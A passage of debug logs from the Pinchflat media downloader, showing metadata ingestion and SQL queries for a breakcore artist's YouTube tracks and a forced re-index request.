MUSIC\n\nReleased on: 2026-07-17\n\nAuto-generated by YouTube.", "duration" => 160, "filename" => "/downloads/Breakcore/Breakcore/2026-07-16what have i done?[xgtWeKswCCQ].m4a", "id" => "xgtWeKswCCQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xgtWeKswCCQ", "playlist_index" => 5, "timestamp" => 1784196213, "title" => "what have i done?", "upload_date" => "20260716"} 22:19:41.573 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=19.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:41.573 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:41.573 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-16 10:03:33Z], 3] 22:19:41.775 [debug] QUERY OK source="media_items" db=200.7ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nwhat have i done? · 404 Breakcore · 404 Breakcore\n\nwhat have i done? (breakcore)\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-07-17\n\nAuto-generated by YouTube.", "what have i done?", "87a9b64b-5117-4713-a326-060fbb579155", false, "xgtWeKswCCQ", 160, false, "https://www.youtube.com/watch?v=xgtWeKswCCQ", 5, "/downloads/Breakcore/Breakcore/2026-07-16what have i done?[xgtWeKswCCQ].m4a", false, false, 3, [], 1, ~U[2026-07-16 10:03:33Z], ~U[2026-07-24 02:19:41Z], ~U[2026-07-24 02:19:41Z], "Provided to YouTube by DistroKid\n\nwhat have i done? · 404 Breakcore · 404 Breakcore\n\nwhat have i done? (breakcore)\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-07-17\n\nAuto-generated by YouTube.", "what have i done?", "xgtWeKswCCQ", 160, false, "https://www.youtube.com/watch?v=xgtWeKswCCQ", "/downloads/Breakcore/Breakcore/2026-07-16what have i done?[xgtWeKswCCQ].m4a", false, 3, ~U[2026-07-16 10:03:33Z]] 22:19:41.775 [debug] QUERY OK source="sources" db=0.4ms idle=203.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:41.776 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=202.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:41.777 [debug] QUERY OK source="media_items" db=0.4ms idle=203.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [92] 22:19:41.777 [debug] Current batch of media processed. Will check again in 1000ms 22:19:42.778 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nDoom 404 · 404 Breakcore · 404 Breakcore\n\nDoom 404\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-05-11\n\nAuto-generated by YouTube.", "duration" => 226, "filename" => "/downloads/Breakcore/Breakcore/2026-05-10Doom 404[gMF5Oy94jd4].m4a", "id" => "gMF5Oy94jd4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gMF5Oy94jd4", "playlist_index" => 6, "timestamp" => 1778407309, "title" => "Doom 404", "upload_date" => "20260510"} 22:19:42.779 [debug] QUERY OK source="sources" db=0.2ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:42.779 [debug] QUERY OK source="sources" db=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:42.779 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 10:01:49Z], 3] 22:19:43.110 [debug] QUERY OK source="media_items" db=330.5ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nDoom 404 · 404 Breakcore · 404 Breakcore\n\nDoom 404\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-05-11\n\nAuto-generated by YouTube.", "Doom 404", "7daa4668-e71b-47ab-9fe6-13ee2cf7435d", false, "gMF5Oy94jd4", 226, false, "https://www.youtube.com/watch?v=gMF5Oy94jd4", 6, "/downloads/Breakcore/Breakcore/2026-05-10Doom 404[gMF5Oy94jd4].m4a", false, false, 3, [], 1, ~U[2026-05-10 10:01:49Z], ~U[2026-07-24 02:19:42Z], ~U[2026-07-24 02:19:42Z], "Provided to YouTube by DistroKid\n\nDoom 404 · 404 Breakcore · 404 Breakcore\n\nDoom 404\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-05-11\n\nAuto-generated by YouTube.", "Doom 404", "gMF5Oy94jd4", 226, false, "https://www.youtube.com/watch?v=gMF5Oy94jd4", "/downloads/Breakcore/Breakcore/2026-05-10Doom 404[gMF5Oy94jd4].m4a", false, 3, ~U[2026-05-10 10:01:49Z]] 22:19:43.111 [debug] QUERY OK source="sources" db=0.2ms idle=538.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:43.111 [debug] QUERY OK source="media_profiles" db=0.1ms idle=332.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:43.112 [debug] QUERY OK source="media_items" db=0.1ms idle=332.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93] 22:19:43.112 [debug] Current batch of media processed. Will check again in 1000ms 22:19:44.112 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nQU5HRUxfMDYgLSBDSExPRQ== · 404 Breakcore · 404 Breakcore\n\nQU5HRUxfMDYgLSBDSExPRQ==\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-12\n\nAuto-generated by YouTube.", "duration" => 339, "filename" => "/downloads/Breakcore/Breakcore/2026-06-11QU5HRUxfMDYgLSBDSExPRQ==[c58wLuWw0LI].m4a", "id" => "c58wLuWw0LI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=c58wLuWw0LI", "playlist_index" => 7, "timestamp" => 1781214909, "title" => "QU5HRUxfMDYgLSBDSExPRQ==", "upload_date" => "20260611"} 22:19:44.113 [debug] QUERY OK source="sources" db=0.3ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:44.113 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:44.114 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-11 21:55:09Z], 3] 22:19:44.379 [debug] QUERY OK source="media_items" db=264.0ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nQU5HRUxfMDYgLSBDSExPRQ== · 404 Breakcore · 404 Breakcore\n\nQU5HRUxfMDYgLSBDSExPRQ==\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-12\n\nAuto-generated by YouTube.", "QU5HRUxfMDYgLSBDSExPRQ==", "471d99d0-e858-454a-a420-08ad86fc8424", false, "c58wLuWw0LI", 339, false, "https://www.youtube.com/watch?v=c58wLuWw0LI", 7, "/downloads/Breakcore/Breakcore/2026-06-11QU5HRUxfMDYgLSBDSExPRQ==[c58wLuWw0LI].m4a", false, false, 3, [], 1, ~U[2026-06-11 21:55:09Z], ~U[2026-07-24 02:19:44Z], ~U[2026-07-24 02:19:44Z], "Provided to YouTube by DistroKid\n\nQU5HRUxfMDYgLSBDSExPRQ== · 404 Breakcore · 404 Breakcore\n\nQU5HRUxfMDYgLSBDSExPRQ==\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-12\n\nAuto-generated by YouTube.", "QU5HRUxfMDYgLSBDSExPRQ==", "c58wLuWw0LI", 339, false, "https://www.youtube.com/watch?v=c58wLuWw0LI", "/downloads/Breakcore/Breakcore/2026-06-11QU5HRUxfMDYgLSBDSExPRQ==[c58wLuWw0LI].m4a", false, 3, ~U[2026-06-11 21:55:09Z]] 22:19:44.379 [info] {"source":"oban","duration":9738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:44.379 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=265.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:44.380 [debug] QUERY OK source="media_profiles" db=0.1ms idle=265.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:44.380 [debug] QUERY OK source="media_items" db=0.1ms idle=265.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95] 22:19:44.380 [debug] Current batch of media processed. Will check again in 1000ms 22:19:44.421 [info] POST /sources/5/force_index 22:19:44.421 [debug] Processing with PinchflatWeb.Sources.SourceController.force_index/2 Parameters: %{"_csrf_token" => "OypxUR1-JnZdMlg0KCNkBCYLbREwIhQERGBft6O76TldJnURvaYbcVCG", "_method" => "post", "source_id" => "5"} Pipelines: [:browser] 22:19:44.421 [debug] QUERY OK source="sources" db=0.3ms idle=42.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:44.422 [debug] QUERY OK source="tasks" db=0.2ms idle=42.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [5, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 22:19:44.722 [debug] QUERY OK source="tasks" db=127.5ms idle=173.0ms DELETE FROM "tasks" WHERE "id" = ? [159] 22:19:44.934 [debug] QUERY OK source="tasks" db=86.3ms idle=253.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [180, 5, ~U[2026-07-24 02:19:44Z], ~U[2026-07-24 02:19:44Z]] 22:19:44.934 [info] Sent 302 in 513ms 22:19:44.965 [info] GET /sources/5 22:19:44.965 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 22:19:44.965 [debug] QUERY OK source="sources" db=0.2ms idle=370.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:44.966 [debug] QUERY OK source="media_profiles" db=0.1ms idle=243.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:44.966 [debug] QUERY OK source="tasks" db=0.1ms idle=242.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 22:19:44.966 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=118.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [180] 22:19:44.966 [debug] QUERY OK source="settings" db=0.0ms idle=32.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:44.966 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:44.967 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:44.968 [debug] QUERY OK source="sources" db=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:44.968 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:44.968 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:44.969 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:44.969 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM 